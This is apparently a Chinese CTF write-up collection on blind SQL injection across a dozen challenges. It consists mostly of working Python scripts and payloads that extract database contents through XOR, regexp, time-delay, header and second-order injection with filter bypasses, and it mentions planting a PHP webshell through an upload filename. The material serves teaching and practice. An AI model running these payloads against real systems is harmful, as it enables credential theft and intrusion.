布尔盲注

2020ichunqiu新春公益赛—Ezsqli

出题思路Smi1e

界面:

FUZZ测试后发现

in被过滤information_schemamysql.innodb_table_statssys.schema_auto_increment_columns都用不了了,这时就需要新的表来代替,参考

Payload1:1^((select substr((select group_concat(table_name) from sys.x$schema_flattened_keys),1,1))='f')

Payload2:1^((select substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema=database()),1,1))='f')

于是写出盲注爆表脚本(Payload1)

import requests
url = "http://586656b32259484e8dbc25a81ee0a407820801130961430a.changame.ichunqiu.com/index.php"
for i in range(1,100):
    for j in range(40,128):
        #d = "1 and if(ascii(mid(fl4g,1,1))regexp "+str(j)+",sleep(3),1)"
        d = "1^(ascii(substr((select group_concat(table_name,'') from sys.x$schema_flattened_keys),{},1))={})".format(i,j)
        data = {"id":d}
        r = requests.post(url,data = data)
        if 'Nu1L' not in r.text:
            print(chr(j),end='')
            break

得到两个表名,f1ag_1s_h3r3_hhhhhusers233333333333333

flag应该在f1ag_1s_h3r3_hhhhh中,这里需要用到一个技巧,就是将查询语句与相同数量的列进行比较,参考,如图

而在mysql中,比较字符串大小是按位比较的,所以就可以用比较大小的方法一个一个的得到字段的内容

注:出题人这里还有一个坑,详见题目下方的链接

mysql默认是不区分大小写的区分大小写的注入,所以在爆字段的时候需要注意,但由于比赛flag都是小写,所以就直接盲注就可以了,但这里还是给出区分大小写的方法,BINARY("A")CAST("A" AS JSON)都会返回大写的A,当in被过滤了BINARY就不好使了,所以用第二个就OK

这里可以测试出有两个列,但是盲猜第一列的第一个是1可还行

Payload:1^((select 1,concat('{}~',CAST('0' AS JSON)))<(select * from f1ag_1s_h3r3_hhhhh limit 1))

于是写出盲注爆字段脚本

import requests
import string
url = "http://a9362c1023c04da19c143e01d7991148619db7d8fbff4e43.changame.ichunqiu.com/index.php"
str = ("-" + string.digits + string.ascii_letters + string.punctuation).replace("'","").replace('"','').replace("\\","")
flag = ""
for i in range(1,100):
    for j in str:
        #d = "1 and if(ascii(mid(fl4g,1,1))regexp "+str(j)+",sleep(3),1)"
        d = "1^((select 1,concat('{}~',CAST('0' AS JSON)))<(select * from f1ag_1s_h3r3_hhhhh limit 1))".format(flag+j)
        data = {"id":d}
        r = requests.post(url,data = data)
        if 'Nu1L' in r.text:
            print(j,end='')
            break
    flag = flag + j

最终可以得到flag

2020ichunqiu新春公益赛—简单的招聘系统

首先有个登录界面

尝试使用弱密码,1' or 1=1#

于是可以在登录界面进行布尔盲注

爆库Payload:2' or (select (mid((select database()),{},1)))='{}'#

爆表Payload:2' or (select (mid((select group_concat(table_name,'') from information_schema.tables where table_schema=database()),{},1)))='{}'#

爆列Payload:2' or (select (mid((select group_concat(column_name,'') from information_schema.columns where table_name='flag'),{},1)))='{}'#

爆字段Payload:2' or (select (mid((select group_concat(flaaag,'') from flag),{},1)))='{}'#

import requests
import string
url = "http://b191000b2d4c4a77ad9c86f2d5476e7172ed2000f40b4c72.changame.ichunqiu.com/"
str = ("-" + string.digits + string.ascii_letters + string.punctuation).replace("'","").replace('"','').replace("\\","")
flag = ""
for i in range(1,100):
    for j in str:
        #d = "1 and if(ascii(mid(fl4g,1,1))regexp "+str(j)+",sleep(3),1)"
        d = "(This is Payload)".format(i,j)
        #print(d)
        data = {"lname":d , "lpass":'xxx'}
        r = requests.post(url,data = data)
        r.encoding = 'gbk'
        if '成功' in r.text.encode('gbk').decode(r.apparent_encoding):
            print(j,end='')
            break

得到数据库:nzhaopin,表:backup,flag,user,flag表的内容:id,flaaag,最终得到flag

CISCN2019-Web1—Hack World

解题核心—————–异或注入,盲注爆破

界面:

题目给出了flag在flag表和flag列中

测试后发现过滤了大多数字符,但有些还是没过滤的,于是进行sql盲注

空格利用()绕过,配合异或注入和判断回显信息一个一个爆出字符串

python脚本:

import requests
url = "http://13b50f67-3a54-481d-ae76-97f425fd8855.node3.buuoj.cn/"
for i in range(1,100):
    for j in range(1,128):
        d = "1^(ascii(substr((select(flag)from(flag)),{},1))={})".format(i,j)
        data = {"id":d}
        r = requests.post(url,data = data)
        print(r.status_code)
        if 'Error' in r.text:
            print(chr(j),end='')

网上这题的源码,可以参考参考

<?php
$dbuser='root';
$dbpass='root';

function safe($sql){
    #被过滤的内容 函数基本没过滤
    $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
    foreach($blackList as $blackitem){
        if(stripos($sql,$blackitem)){
            return False;
        }
    }
    return True;
}
if(isset($_POST['id'])){
    $id = $_POST['id'];
}else{
    die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
    die(mysql_error());
}   
mysql_select_db("ctf",$db);

if(safe($id)){
    $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
    
    if($query){
        $result = mysql_fetch_array($query);
        
        if($result){
            echo $result['content'];
        }else{
            echo "Error Occured When Fetch Result.";
        }
    }else{
        var_dump($query);
    }
}else{
    die("SQL Injection Checked.");
}

极客大挑战—FinalSQL

解题核心—————–异或注入,盲注爆破

在用户名和密码密码处尝试注入,发现绝大多数的字符都被过滤,于是找到另一个注入点(如下图),把注释删掉后在界面传参回车后观察URL的变化,传了一个id参数,故尝试在URL中的id处注入

后台过滤到限制字符的显示的界面(如下图)

当注入上一题的查询数据库语句时,发现可以注入,显示以下界面,应该是后台把报错的界面给处理了,所以看不到数据库报错的界面

进行异或注入测试,通过测试发现,id=1^1的结果和id=0的结果是一样的,当id=1^0的时候,界面就返回了当id=1的时候的界面,由此可以想到通过构造ASCII函数配合substr函数判断字符大小,当ASCII函数值等于(居然没过滤)后面的十进制时,显示id=0的时候的界面,具体脚本和判断方法如下:

1^(ascii(substr(("此处为sql语句"),变量i,1))=变量j)

查库:

import requests
url = "http://8a4e2d60-6624-4865-b943-aa15ea964e76.node3.buuoj.cn/search.php"
for i in range(1,20):
    for j in range(1,128):
        d = "?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)like'geek')),'"+str(i)+"',1))='"+str(j)+"')"
        r = requests.get(url+d)
        if 'ERROR' in r.text:
            print(chr(j),end='')

查表:

import requests
url = "http://8a4e2d60-6624-4865-b943-aa15ea964e76.node3.buuoj.cn/search.php"
for i in range(1,20):
    for j in range(1,128):
        d = "?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)='geek')),'"+str(i)+"',1))='"+str(j)+"')"
        r = requests.get(url+d)
        if 'ERROR' in r.text:
            print(chr(j),end='')

查列:

import requests
url = "http://8a4e2d60-6624-4865-b943-aa15ea964e76.node3.buuoj.cn/search.php"
for i in range(1,20):
    for j in range(1,128):
        d = "?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)='F1naI1y')),'"+str(i)+"',1))='"+str(j)+"')"
        r = requests.get(url+d)
        if 'ERROR' in r.text:
            print(chr(j),end='')

emmmmmmm这里长度没给够,根据前面的经验,查password列应该就可以了,F1aaaaag表中没有东西

查字段:

import requests
url = "http://8a4e2d60-6624-4865-b943-aa15ea964e76.node3.buuoj.cn/search.php"
for i in range(1,300):
    for j in range(1,128):
        d = "?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),'"+str(i)+"',1))='"+str(j)+"')"
        r = requests.get(url+d)
        if 'ERROR' in r.text:
            print(chr(j),end='')

拿到flag:

BJDCTF-2nd—简单注入

解题核心—————–regexp()正则匹配,binary大小写匹配,布尔盲注(亦可时间盲注)

参考:https://www.gem-love.com/ctf/2097.html#GirlfriendInjection

这题看着界面有点眼熟,这这个网站上有个类似的题http://pcat.cc/q.php ,Question 5那一期的web题

先fuzz一下,以下字符被过滤:

几个常用的注入参数被过滤:' " select,这几个参数被过滤就已经杀了大部分的可注入方式,于是想办法构造注入条件,题目解题思路和Question 5那一期的web题类似,直接给出解题方法

解题方法:在用户名处注入反斜杆\,可以将后端sql语句处username的后面的单引号转义

推测后端sql语句变成

select username password from users where username = '1\' and password = ' or 1#'

测试后发题目下方的字符串改变了(可惜比赛的时候没注意),可以用regexp正则模糊匹配的方法构造sql注入语句注出adminpassword,于是写python脚本盲注

import requests
url = "http://507fd7ed-7cc8-42d3-86ad-6b5ec032b815.node3.buuoj.cn/index.php"
header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Content-Type": "application/x-www-form-urlencoded"
}
str1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
passwd = ''
pass1 = ''
for i in range(100):
    for j in str1:
        pass1 = '0x5E' + passwd.replace('0x5E','') + hex(ord(j)).replace('0x','')
        payload = ' or password regexp binary {}#'.format(pass1)
        #print(pass1)
        data = {
            'username': '1\\',
            'password': payload
        }
        r = requests.post(url,data=data,headers=header)
        if 'BJD needs' in r.text:
            passwd = passwd + hex(ord(j)).replace('0x','')
            print(j,end='')
            break

注意这里binary的使用,比赛的时候就是被这里给坑了=.=,mysql默认不区分大小写,这里使用该关键字来区分大小写,还有regexp函数可以匹配十六进制数,涨姿势了,这样就可以绕过引号的过滤,另外上面的Ezsqli题也还有一种匹配大小写的方法,用于in被过滤,binary就不好使了

最后盲注出passwordOhyOuFOuNdit登录admin账号即可得到flag

另外还有一种时间盲注的方法: or if(substr(password,1,1)regexp binary 0x5E...,sleep(3),1)

CTFshow—web1

访问www.zip得到源码

index.php(略)

login.php

<?php
		error_reporting(0);
		session_start();
		$con = mysqli_connect("localhost","root","root","web15");
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		$username=$_POST['username'];
		$password=$_POST['password'];
		if(isset($username) && isset($password)){
			if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\,|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$username)){
				die("error");
			}
			$sql="select pwd from user where uname = '$username' limit 1";
			$res=mysqli_query($con,$sql);
			$row = mysqli_fetch_array($res);
			if($row['pwd']===$password){
				$_SESSION["login"] = true;
				header("location:/user_main.php?order=id");
			}else{
				header("location:/index.php");
			}
		}else{
			header("location:/index.php");
		}

?>

reg.html(略)

reg.php

<?php
		error_reporting(0);
		$con = mysqli_connect("localhost","root","root","web15");
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		$username=$_POST['username'];
		$password=$_POST['password'];
		$email=$_POST['email'];
		$nickname=$_POST['nickname'];
		if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$username)){
				die("error");
		}
		if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$password)){
				die("error");
		}
		if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}\]|\'|\’|\“|\"|\<|\>|\?/i",$email)){
				die("error");
		}
		if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$nickname)){
				die("error");
		}
		if(isset($username) && isset($password) && isset($email) && isset($nickname)){
			$sql = "INSERT INTO user (uname, pwd, email,nname) VALUES ('$username', '$password', '$email','$nickname')";
            $res=mysqli_query($con, $sql);
            if ($res) {
				$_SESSION["login"] = true;
				header("location:/index.php");
			} 
		}
		mysqli_close($conn);
		

?>

user_main.php

<?php
error_reporting(0);
session_start();
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>CTFshow_web</title>

<style>
..........(css)
</style>
</head>
<body>
<?php
	
	if(isset($_SESSION["login"]) && $_SESSION["login"] === true){
		$con = mysqli_connect("localhost","root","root","web15");
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		$order=$_GET['order'];
		if(isset($order) && strlen($order)<6){
			if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\,|\`|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\’|\“|\"|\<|\>|\?|\,|\.|\?/i",$order)){
				die("error");
			}
			$sql="select * from user order by $order";
        }else{
            $sql="select * from user order by id";
        }   

?>
..........(html)
</body>
</html>

可以看到可传入的值都经过了严格的过滤,大多数特殊符号都被过滤,所以直接进行sql注入显然不可能,寻找其他的入手点,可以看到在user_main.php的传入的order值处,有一条order by语句,是用来根据order by后面的列来进行排序的,根据题目提示flag_is_my_password,所以我们只需要得到用户flag的密码即可,于是我们可以根据pwd的值来排序,然后配合盲注得出flag,我们注册不同密码的账号,原理假设密码为e(前端有个md5加密抓包可以直接绕过不影响),如果flag的密码为flag{xxxxx}那么e<flag{xxxxx},再传入user_main.php?order=pwd,那么密码为e的这一行就在flag这一行的上面。而如果注册一个密码为g的用户,则密码为g的用户的这一行则会在flag这一行的下面,于是就可以拿来进行盲注比较得出flag的所有值

exp

import requests
url = "https://b51823a7-b1c0-499d-878a-8a5b296655d3.chall.ctf.show"
urlreg = url + "/reg.php"  #注册 必须要是可传参php文件
urllogin = url + "/login.php"  #登录 必须要是可传参php文件
urlorder = url + "/user_main.php?order=pwd"  # 显示

s = "-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"  # 按照ascii码表的字符串大小排序
flag = ""
for i in range(100):
    for j in s:
        exp = ""
        exp = flag + j
        datereg = {
            "username":exp,  # 仔细观察username和password并没有对-和{}进行过滤
            "email":"zzz",
            "nickname":"zzz",
            "password":exp
        }
        datelogin = {
            "username":exp,
            "password":exp
        }
        if (exp == 'flag'):  # 当注册的用户名字为flag的时候,因为已经存在flag用户在,额直接打印flag跳过后面的语句的执行
            flag = 'flag'
            print(flag)
            break
        session = requests.session()  # 保持会话
        reg = session.post(urlreg, datereg)
        login = session.post(urllogin, datelogin)
        a = session.get(urlorder)
        txt = a.text
        if (txt.index("<td>"+exp+"</td>")>txt.index("<td>flag@ctf.show</td>")):  # index返回字符串被找到到最小的索引(最左)
            flag = flag + chr(ord(j)-1)   # 得到的字符为比flag的单个字符的值大1,所以需要-1
            print(flag)
            break

最终得到到flag

CISCN2019-总决赛-Day2-Web1-Easyweb

robots.txt内容如下

User-agent: *
Disallow: *.php.bak

于是找.bak文件,发现存在image.php.bak,下载下来后得到image.php的源码如下:

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

发现存在sql注入,通过传入id为\\0来转义id后面的引号,与path前面的引号闭合导致sql注入

exp如下:

import requests

url = "http://a371750a-b2b0-4f95-9c4f-c2cf5292c17c.node3.buuoj.cn/image.php"
result = ""

# ?id=\\\\0&path= or if(ascii(mid((select database()),{},1))?{},1,0)--+
# ?id=\\\\0&path= or if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0)--+  images,users
# ?id=\\\\0&path= or if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=database()),{},1))>{},1,0)--+  username,password
# ?id=\\\\0&path= or if(ascii(mid((select group_concat(password) from users),{},1))>{},1,0)--+   8e97f11c1585e0f6dedb
# ?id=\\\\0&path= or if(ascii(mid((select group_concat(username) from users),{},1))>{},1,0)--+   admin
payload = "?id=\\\\0&path= or if(ascii(mid((select group_concat(password) from users),{},1))>{},1,0)--+"

for i in range(0, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payloads = payload.format(i, mid)
        # print(url + payloads)
        html = requests.get(url + payloads)
        if 'JFIF' in html.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    result += chr(int(mid))
    print(result)

得到admin的密码登录后是一个文件上传的页面,上传的文件会自动生成一个日志并且告诉了我们路径且后缀为php文件,上传后打开界面会显示文件的名字,于是抓包将文件名改为一句话木马,上传后php就会解析这个页面里的php语法,但是文件名字不能有php在里面,于是就需要一句话的短标签版,前提需要PHP开启短标签即short_open_tag=on,题目支持,随后cat /flag即可

[WUSTCTF2020]颜值成绩查询

if(1=1,1,2)测试有回显,于是写脚本爆破

import requests

url = "http://228a1e37-3bc0-4272-ac01-c99d47dfd854.node3.buuoj.cn/?stunum="
result = ""


# if(ascii(mid((select/**/database()),{},1))>{},1,2)    ctf
# if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{},1))>{},1,2)     flag,score
# if(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),{},1))>{},1,2)         flag,value
# if(ascii(mid((select/**/value/**/from/**/flag),{},1))>{},1,2)

payload = "if(ascii(mid((select/**/value/**/from/**/flag),{},1))>{},1,2)"

for i in range(0, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payloads = payload.format(i, mid)
        html = requests.get(url + payloads)
        if 'admin' in html.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    result += chr(int(mid))
    print(result)

注出flag

[NCTF2019]SQLi

拿到题目,可以看到会将sql查询的结果打印出来

fuzz测试,以下可用

注入方式

  • 单引号用\转义,
  • 结束的单引号用;%00截断,在返回的header头中可以看到php版本为PHP/5.2.16,所以可以用00截断
  • regexp绕过特殊字符,来对passwd的值来进行盲注

payload:username=aaa\&passwd=||case/**/when/**/passwd/**/regexp/**/"^you_will_never_know7788990"/**/then/**/1/**/else/**/0/**/end;%00

精简写法username=aaa\&passwd=||passwd/**/regexp/**/"^you_will_never_know7788990";%00

如果passwd正则校验正确,则会重定向到welcome.php

Exp:

import requests
import string
from time import sleep

url = "http://11185b34-a644-43f8-b6ef-676ab81b534f.node4.buuoj.cn/index.php"
strs = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits
pwd = ""
# proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", } 

for i in range(1, 100):
    for j in strs:
        d = {
            "username": 'aaa\\',
            "passwd": '||case/**/when/**/passwd/**/regexp/**/"^{}"/**/then/**/1/**/else/**/0/**/end;\x00'.format(pwd+j)
        }
        r = requests.post(url, data=d, verify=False, timeout=3)
        while(r.status_code == 503 or r.status_code == 429):
            sleep(1)
            r = requests.post(url, data=d, verify=False, timeout=3)
        print("[+]"+"status_code:"+str(r.status_code)+" pwd:"+pwd+j)
        if "welcome.php" in r.text:
            pwd = pwd + j
            break

最后拿到的密码you_will_never_know7788990,随便用一个账号登录即可拿到flag

时间盲注

WEB_Login_Only_For_36D

界面:

F12可以看到hint

可以看到这里需要username匹配admin,随后才可以输入密码,先在passwordfuzz一下

过滤了单引号,如果password中要用单引号闭合的话显然很难这里就需要从username入手,详情可以参考上面的BJDCTF-2nd—简单注入,和p神和Smi1e师傅的文章:

这里直接给出payload:username=admin%0a\&password=/**/or/**/if(left((password),1)REGEXP/**/binary/**/"I",sleep(3),1)#

exp如下:

import requests
url = "https://bbafd3a8-7f89-4adf-84c2-7028b93775cc.chall.ctf.show/"
header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Content-Type": "application/x-www-form-urlencoded"
}
str1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
passwd = ''
for i in range(1, 40):
    for j in str1:
        exp = passwd + j
        payload = '/**/or/**/if(left((password),{})REGEXP/**/binary/**/"^{}",sleep(3),1)#'.format(i, exp)
        data = {
            'username': 'admin%0a\\',
            'password': payload
        }
        r = requests.post(url,data=data,headers=header)
        if r.elapsed.total_seconds()>1:
            passwd = passwd + j
            print(j,end='')
            break

这里需要注意以下几点:

  • binary匹配大小写
  • midsubstr被过滤了用left
  • 空格用/**/

随后就可以跑出密码登录即可得到flag

XCTF—INSERT INTO注入

解题核心—————–substr(),x-forwarded-for头注入

平台:[bugku INSERT INTO注入](https://ctf.bugku.com/challenges#INSERT INTO注入)题目链接:http://123.206.87.240:8002/web15/

在题目的下方给了源码:

flag格式:flag{xxxxxxxxxxxx}
不如写个Python吧

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

通过观察代码可以发现变量$ip可以通过更改X-Forwarded-For头进行更改,且后面的代码把每一次查询的ip都插入的数据库,推测$ip处存在注入点,于是burp抓包判断注入点:

利用延时注入验证此处确实存在注入点,于是开始构造注入函数,代码$ip_arr = explode(',', $ip);通过逗号将ip分离开,只取第一个,所以这里相当于过过滤了逗号注入符号,于是我们通常用的midsubstrif判断在这里用不了了,在这里用以下注入方法替换:

if(sql,num,str)可替换成case when sql then sleep(5) else 1 end

sql注入语句中的substr语句可以写成:substr(sql from num for 1) = str,将语句中的逗号替换成了fromfor,语句照常进行,mid函数也可以这样

Payload1:127.0.0.1'and (case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {} for 1 )='{}') then sleep(3) else 1 end )) #,得到表client_ip,flag

Payload2:127.0.0.1'and (case when (substr((select group_concat(column_name) from information_schema.columns where table_schema='flag') from {} for 1 )='{}') then sleep(3) else 1 end )) #,得到表flag中的flag

Payload3:127.0.0.1'and (case when (substr((select group_concat(flag) from flag) from {} for 1 )='{}') then sleep(3) else 1 end )) #,得到flag列中的flag

python脚本如下:

import requests
str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*.-"
url = "http://123.206.87.240:8002/web15/"
for i in range(0,40):
    for j in str:
        data = "此处为Payload".format(i,j)
        header = {"x-forwarded-for":data}
        r = requests.get(url,headers=header)
        if r.elapsed.total_seconds()>1:
            print(j,end = '')
            break

2020ichunqiu新春公益赛—盲注

首先点进去的界面:

<?php
    # flag在fl4g里
    include 'waf.php';
    header("Content-type: text/html; charset=utf-8"); 
    $db = new mysql();

    $id = $_GET['id'];

    if ($id) {
        if(check_sql($id)){
            exit();
        } else {
            $sql = "select * from flllllllag where id=$id";
            $db->query($sql);
        }
    }
    highlight_file(__FILE__);

可以看到需要我们get一个id参数来绕过waf里的check_sql函数完成注入,并且flagfl4g

首先题目过滤了select,fuzz后发现以下字符和函数被过滤

发现sleep函数并没有被过滤,于是想到延时注入,=likerlike被过滤用regexp函数代替

regexp后所跟的东西作为正则表达式处理。

Payload:id=1 and if(ascii(mid(fl4g,1,1))regexp 102,sleep(3),1)

于是写出盲注注入脚本

import requests
url = "http://c6a55177986a42829935671bc7988fbd1a2652564f754cac.changame.ichunqiu.com/?id="
for i in range(1,100):
    for j in range(45,128):
        if j<58 or j>96:
        #d = "1 and if(ascii(mid(fl4g,1,1))regexp "+str(j)+",sleep(3),1)"
            d = "1 and if(ascii(mid(fl4g,"+str(i)+",1))regexp "+str(j)+",sleep(3),1)"
            r = requests.get(url+d)
            if r.elapsed.total_seconds()>1:
                print(chr(j),end='')
                break

网鼎杯2018—Unfinish

登录用的邮箱和密码,注册可以注册邮箱账号和密码,并且在登录后的index.php处有显示注册的用户名,用户名存入了数据库,于是推测在register.php处存在注入点,测试后发现过滤了逗号和information,不过可以用from和for代替,payload:0' or (case when (substr((select * from flag) from {} for 1 )='{}') then sleep(3) else 1 end) or '1,注意这里判断响应时间的时候要用time库,平常用的elapsed.total_seconds()在这里好像不管用,测试后发现这个函数获得的是最后一次请求的响应时间,而题目中的register.php注册成功会重定向到login.php,于是会导致结果输出不出来,于是改用time库

import requests
import time
str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,{}_!@#$%^&*.-"
url = "http://221e6a91-2118-48a2-832a-a910da7b4e1b.node3.buuoj.cn/register.php"
header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Content-Type": "application/x-www-form-urlencoded"
}
for i in range(0,50):
    for j in str:
        payload = "0' or (case when (substr((select * from flag) from {} for 1 )='{}') then sleep(3) else 1 end) or '1".format(i,j)
        #print(payload)
        data = {
            "email":"111@111",
            "username":payload,
            "password":"aaa"
        }
        startTime=time.time()
        r = requests.post(url,data=data,headers=header)
        #print(r.status_code)
        #print(r.text)
        if time.time()-startTime>1:
            print(j,end = '')
            break

其它

[RoarCTF 2019]Online Proxy

X-Forwarded-For头注入,

在传入url为找到可疑点,F12查看源码可以看到html页面有注释显示着访问的客户端Ip,推测后端将客户端的Ip地址记录到数据库当中。尝试改写XFF头发现ip可控,推测为XFF头注入,于是尝试sql注入,测试后发现,XFF注入请求一次后,再请求两次正常XFF的ip,即可触发XFF的sql注入,推测后端代码,第二次并未直接从数据库中请求数据,由于第二次请求的ip不一样,服务器会直接将上次的ip显示出来,在第三次请求和第二次一样的ip的时,服务器就会从数据库中查找last ip,即可触发sql注入

exp(glzjin yyds):

#!/usr/bin/env python3

import requests

target = "http://node3.buuoj.cn:27167/"

def execute_sql(sql):
    print("[*]请求语句:" + sql)
    return_result = ""

    payload = "0'|length((" + sql + "))|'0"
    session = requests.session()
    r = session.get(target, headers={'X-Forwarded-For': payload})
    r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
    r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
    start_pos = r.text.find("Last Ip: ")
    end_pos = r.text.find(" -->", start_pos)
    length = int(r.text[start_pos + 9: end_pos])
    print("[+]长度:" + str(length))

    for i in range(1, length + 1, 5):
        payload = "0'|conv(hex(substr((" + sql + ")," + str(i) + ",5)),16,10)|'0"

        r = session.get(target, headers={'X-Forwarded-For': payload}) # 将语句注入
        r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})    # 查询上次IP时触发二次注入
        r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})    # 再次查询得到结果
        start_pos = r.text.find("Last Ip: ")
        end_pos = r.text.find(" -->", start_pos)
        result = int(r.text[start_pos + 9: end_pos])
        return_result += bytes.fromhex(hex(result)[2:]).decode('utf-8')

        print("[+]位置 " + str(i) + " 请求五位成功:" + bytes.fromhex(hex(result)[2:]).decode('utf-8'))

    return return_result


# 获取数据库
print("[+]获取成功:" + execute_sql("SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA"))

# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e'"))

# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e' AND TABLE_NAME = 'F4l9_t4b1e' "))

# 获取表中内容
print("[+]获取成功:" + execute_sql("SELECT group_concat(F4l9_C01uMn) FROM F4l9_D4t4B45e.F4l9_t4b1e"))